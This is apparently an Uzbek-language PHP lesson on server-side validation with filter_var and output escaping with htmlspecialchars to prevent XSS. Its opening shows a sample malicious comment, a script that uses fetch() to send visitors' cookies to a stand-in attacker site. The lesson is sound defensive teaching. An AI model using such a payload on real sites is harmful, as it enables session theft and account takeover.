Ma'lumotni tekshirish — filter_var, htmlspecialchars, XSS
Muammodan boshlaylik
Saytingizda izohlar bo'limi bor. Kimdir izoh o'rniga shuni yozdi:
<script>fetch('https://yomon-sayt.com/?c=' + document.cookie)</script>
Siz izohni shunchaki echo $izoh; bilan chiqarasiz. Endi shu sahifani ochgan har bir foydalanuvchining brauzeri bu skriptni bajaradi va ularning sessiya cookie sini begona saytga yuboradi. Hujumchi ularning akkauntiga parolsiz kiradi.
Bu — XSS (Cross-Site Scripting), veb-saytlardagi eng keng tarqalgan zaifliklardan biri. Bu darsda ikki qoidani o'rganamiz:
- Kirishda tekshir (validation) — ma'lumot kutilgan ko'rinishdami?
- Chiqishda zararsizlantir (escaping) — HTML ga xavfsiz chiqar
Asosiy tamoyil
[!WARNING] Foydalanuvchidan kelgan hech qanday ma'lumotga ishonmang:
$_GET,$_POST,$_COOKIE,$_FILES,$_SERVER['HTTP_*']. Brauzerdagirequired,maxlength,type="email"— faqat qulaylik uchun. Ularni DevTools yokicurlbilan bir soniyada aylanib o'tish mumkin. Haqiqiy tekshiruv — faqat serverda.
htmlspecialchars — chiqishda himoya
Bu funksiya HTML uchun maxsus belgilarni xavfsiz ko'rinishga o'tkazadi:
| Belgi | Aylanadi |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
<?php
$izoh = "<script>alert('xakerlik')</script>";
echo $izoh;
// brauzer skriptni BAJARADI
echo htmlspecialchars($izoh);
// <script>alert('xakerlik')</script>
// brauzer uni oddiy MATN sifatida ko'rsatadi
Foydalanuvchi ekranda <script>alert('xakerlik')</script> matnini ko'radi — lekin u bajarilmaydi.
Qisqa yordamchi funksiya
Har safar uzun nom yozish noqulay. Deyarli har bir PHP loyihada shunday funksiya bor:
<?php
function e(?string $qiymat): string
{
return htmlspecialchars($qiymat ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
<p><?= e($foydalanuvchi['ism']) ?></p>
<input value="<?= e($_POST['email'] ?? '') ?>">
ENT_QUOTES—'va"ikkalasini ham aylantiradi (atribut ichida muhim)ENT_SUBSTITUTE— buzilgan UTF-8 belgilarni xavfsiz almashtiradi
Laravel dagi {{ $ism }} aynan shu ishni avtomatik bajaradi.
Qoida: HTML ga chiqarilayotgan har bir dinamik qiymat e() dan o'tsin. "Bu qiymat xavfsiz, bazadan keldi" — yo'q, bazaga ham foydalanuvchi yozgan.
Validatsiya — kirishda tekshirish
Escaping ma'lumotni xavfsiz ko'rsatadi. Validatsiya esa noto'g'ri ma'lumotni qabul qilmaydi: email o'rniga "salom", yosh o'rniga "-5".
filter_var
PHP da tayyor tekshiruvchilar bor:
<?php
var_dump(filter_var("ali@mail.uz", FILTER_VALIDATE_EMAIL)); // string(11) "ali@mail.uz"
var_dump(filter_var("ali@", FILTER_VALIDATE_EMAIL)); // bool(false)
var_dump(filter_var("42", FILTER_VALIDATE_INT)); // int(42) — songa ham aylantiradi!
var_dump(filter_var("4.2", FILTER_VALIDATE_INT)); // bool(false)
var_dump(filter_var("abc", FILTER_VALIDATE_INT)); // bool(false)
var_dump(filter_var("https://devdocs.uz", FILTER_VALIDATE_URL)); // string
var_dump(filter_var("192.168.1.1", FILTER_VALIDATE_IP)); // string
Muvaffaqiyatda — tozalangan qiymat, xatoda — false.
Diapazon bilan:
<?php
$yosh = filter_var($_POST['yosh'] ?? '', FILTER_VALIDATE_INT, [
'options' => ['min_range' => 1, 'max_range' => 120],
]);
if ($yosh === false) {
$xatolar['yosh'] = "Yosh 1 dan 120 gacha butun son bo'lishi kerak";
}
[!WARNING]
filter_var0qiymatini ham qaytarishi mumkin. Shuning uchunif (!$yosh)emas,if ($yosh === false)deb tekshiring.
filter_input — to'g'ridan-to'g'ri so'rovdan
<?php
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
// parametr yo'q → null, noto'g'ri → false, to'g'ri → int
Ro'yxatdan o'tish formasini tekshirish — to'liq misol
<?php
declare(strict_types=1);
function e(?string $q): string
{
return htmlspecialchars($q ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
$xatolar = [];
$qiymat = ['ism' => '', 'email' => '', 'yosh' => ''];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$qiymat['ism'] = trim($_POST['ism'] ?? '');
$qiymat['email'] = trim($_POST['email'] ?? '');
$qiymat['yosh'] = trim($_POST['yosh'] ?? '');
$parol = $_POST['parol'] ?? ''; // parolni trim qilmaymiz va qaytarib ko'rsatmaymiz
// Ism: majburiy, 2-50 belgi
$uzunlik = mb_strlen($qiymat['ism']);
if ($uzunlik < 2 || $uzunlik > 50) {
$xatolar['ism'] = "Ism 2 dan 50 gacha belgidan iborat bo'lsin";
}
// Email
if (filter_var($qiymat['email'], FILTER_VALIDATE_EMAIL) === false) {
$xatolar['email'] = "Email noto'g'ri";
}
// Yosh: 14-120
$yosh = filter_var($qiymat['yosh'], FILTER_VALIDATE_INT, [
'options' => ['min_range' => 14, 'max_range' => 120],
]);
if ($yosh === false) {
$xatolar['yosh'] = "Yosh 14 dan 120 gacha bo'lsin";
}
// Parol
if (strlen($parol) < 8) {
$xatolar['parol'] = "Parol kamida 8 belgi";
}
if (!$xatolar) {
// saqlash... (38-darsda parolni xeshlab bazaga yozamiz)
echo "Ro'yxatdan o'tdingiz!";
exit;
}
}
?>
<form method="post" novalidate>
<input name="ism" value="<?= e($qiymat['ism']) ?>" placeholder="Ism">
<?php if (isset($xatolar['ism'])): ?><small><?= e($xatolar['ism']) ?></small><?php endif; ?>
<input name="email" value="<?= e($qiymat['email']) ?>" placeholder="Email">
<?php if (isset($xatolar['email'])): ?><small><?= e($xatolar['email']) ?></small><?php endif; ?>
<input name="yosh" value="<?= e($qiymat['yosh']) ?>" placeholder="Yosh">
<?php if (isset($xatolar['yosh'])): ?><small><?= e($xatolar['yosh']) ?></small><?php endif; ?>
<input name="parol" type="password" placeholder="Parol">
<?php if (isset($xatolar['parol'])): ?><small><?= e($xatolar['parol']) ?></small><?php endif; ?>
<button>Ro'yxatdan o'tish</button>
</form>
Xatolarni maydon nomi bo'yicha saqlash ($xatolar['email']) — har bir xatoni tegishli input yonida ko'rsatish imkonini beradi.
Kontekstga qarab himoya
htmlspecialchars — faqat HTML uchun. Boshqa joylarda boshqa vosita kerak:
| Qayerga chiqyapti | Vosita |
|---|---|
| HTML matn yoki atribut | htmlspecialchars() |
| URL parametri | urlencode() |
| JavaScript ichiga | json_encode() |
| SQL so'rov | Prepared statements (36-dars) |
| Shell buyruq | escapeshellarg() (umuman qochgan ma'qul) |
<a href="qidiruv.php?q=<?= urlencode($soz) ?>">Qidirish</a>
<script>
const foydalanuvchi = <?= json_encode($user, JSON_HEX_TAG | JSON_HEX_QUOT) ?>;
</script>
Nima uchun shunday?
Nima uchun ma'lumotni bazaga saqlashdan oldin htmlspecialchars qilib qo'ymaymiz — bir marta qilsak, keyin hamma joyda xavfsiz bo'lmaydimi?
Chunki bir xil ma'lumot turli joyga chiqadi: HTML ga, JSON API ga, email matniga, PDF ga, Excel ga. Har biri o'z himoyasini talab qiladi. Agar bazada < saqlangan bo'lsa — JSON API da ham, email da ham < chiqadi. Qoida: bazada asl ma'lumotni saqlang, chiqarayotgan joyda kontekstga mos himoya qiling.
Tez-tez uchraydigan xatolar
Faqat brauzer tekshiruviga tayanish — required va type="email" server uchun hech narsa emas.
strip_tags() ni himoya deb o'ylash: u teglarni olib tashlaydi, lekin atribut ichida (value="...") qo'shtirnoq orqali hujumdan himoya qilmaydi va foydalanuvchi matnini buzadi ("2 < 3" yozuvi yo'qoladi). Chiqishda htmlspecialchars ishlating.
Validatsiyadan o'tmagan parolni formaga qaytarish — parol maydoniga value hech qachon qo'yilmaydi.
Xulosa
Eslab qoling:
- Foydalanuvchidan kelgan hech narsaga ishonmang; brauzer tekshiruvi — faqat qulaylik
- Chiqishda: har bir dinamik qiymat
htmlspecialchars()(yokie()) dan o'tsin - Kirishda:
filter_varbilan tekshiring, natijani=== falsebilan solishtiring - Xatolarni maydon nomi bo'yicha massivda yig'ing
- Bazada asl ma'lumot, chiqishda kontekstga mos himoya
Keyingi dars
21-dars: Sessiya va cookie — $_SESSION, setcookie, oddiy login